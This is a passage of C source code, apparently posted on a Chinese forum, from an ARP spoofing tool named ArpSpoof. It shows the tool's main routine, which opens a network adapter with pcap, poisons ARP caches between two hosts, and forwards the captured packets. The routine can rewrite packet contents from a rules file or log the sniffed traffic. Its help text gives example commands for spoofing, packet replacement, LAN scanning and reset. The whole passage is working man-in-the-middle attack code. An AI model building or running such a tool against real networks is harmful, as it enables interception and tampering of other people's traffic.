该楼层疑似违规已被系统折叠 隐藏此楼查看此楼
return -1;
}
}
if (argc == 4 && argv[1][1] == 's')
{
EnumLanHost(argv[2], argv[3]);
return 0;
}
}
if (argc < 6) // 参数不正确,显示使用帮助
{
Help();
return 0;
}
// 打开网卡,初始化szIPSelf, ucSelf, szIPGate变量
if ((adhandle = OpenAdapter(atoi(argv[4]), szIPSelf, ucSelf, szIPGate)) == NULL)
{
printf("[!] Open adatper error!\n");
return FALSE;
}
// 初始化其它变量,转入核心例程
if (InitSpoof(argv))
{
if (argc == 7 && strcmpi(argv[6], "/reset") == 0) // 启用恢复线程,5秒后退出程序
{
if (g_uMode == 1)
printf("[*] Reset %s %s\n", szIPA ,szIPB);
else
printf("[*] Reset %s --> %s\n", szIPA ,szIPB);
ResetSpoof();
}
else if (argc >5 )
{
SetConsoleCtrlHandler((PHANDLER_ROUTINE) CtrlHandler, TRUE);
if (argc == 8 && argv[6][1] == 'r') // 如果是要替换转发内容
{
if (ReadJob(argv[7], strLink)) // 加载规则文件,并显示替换规则
{
PSTRLINK pTmp = strLink;
int i=0;
while (pTmp->next)
{
i++;
printf("[*] Parsing rul %s ==> %s\n", pTmp->szOld, pTmp->szNew);
pTmp = pTmp->next;
}
bIsReplace = TRUE;
printf("[+] Loaded %d rules...\n", i);
}
else
return -1;
}
if (argc == 8 && argv[6][1] == 's') // 是否保存数据到文件
{
strcpy(szLogfile, argv[7]);
bIsLog = TRUE;
printf("[+] Save log to %s\n", szLogfile);
}
if (g_uMode == 1) // 双向欺骗
printf("[*] Spoofing %s %s\n", szIPA ,szIPB);
else // 单向欺骗
printf("[*] Spoofing %s --> %s\n", szIPA ,szIPB);
if (!bIsReplace) // 只转发,不替换
printf("[+] Using fixed forwarding thread.\n");
// 开始主要例程,欺骗并转发处理数据包
ARPSpoof();
pcap_loop(adhandle, 0, packet_handler, NULL);
}
}
pcap_close(adhandle);
return 0;
}
//
// 帮助函数,对一些参数的说明和程序的使用
//
void Help()
{
printf("Usage:\n");
printf(" ArpSpoof /[r|s] \n");
printf(" ArpSpoof /s \n");
printf(" ArpSpoof /l\n");
printf("\tMode Options:\n\t\t0\tIP1 --> IP2\n");
printf("\t\t1\tIP1 IP2\n");
printf("Examples:\n");
printf("\t> ArpSpoof 192.168.0.1 192.168.0.8 80 2 1 /r job.txt\n");
printf("\t # Spoof 192.168.0.1 192.168.0.8:80 with rule\n\n");
printf("\t> ArpSpoof 192.168.0.1 192.168.0.8 21 2 1 /s sniff.log\n");
printf("\t # Spoof 192.168.0.1 192.168.0.8:80 save to log\n\n");
printf("\t> ArpSpoof 192.168.0.1 192.168.0.8 80 2 0 /RESET\n");
printf("\t # Reset 192.168.0.1 --> 192.168.0.8:80\n\n");
printf("\t> ArpSpoof /s 192.168.0.1 255.255.255.0\n");
printf("\t # Scan lan host\n\n");
printf("\t> ArpSpoof /l\n");
printf("\t # Lists adapters\n\n");
printf("\t> ArpSpoof /n\n");
printf("\t # Release a new replace rule file\n");
}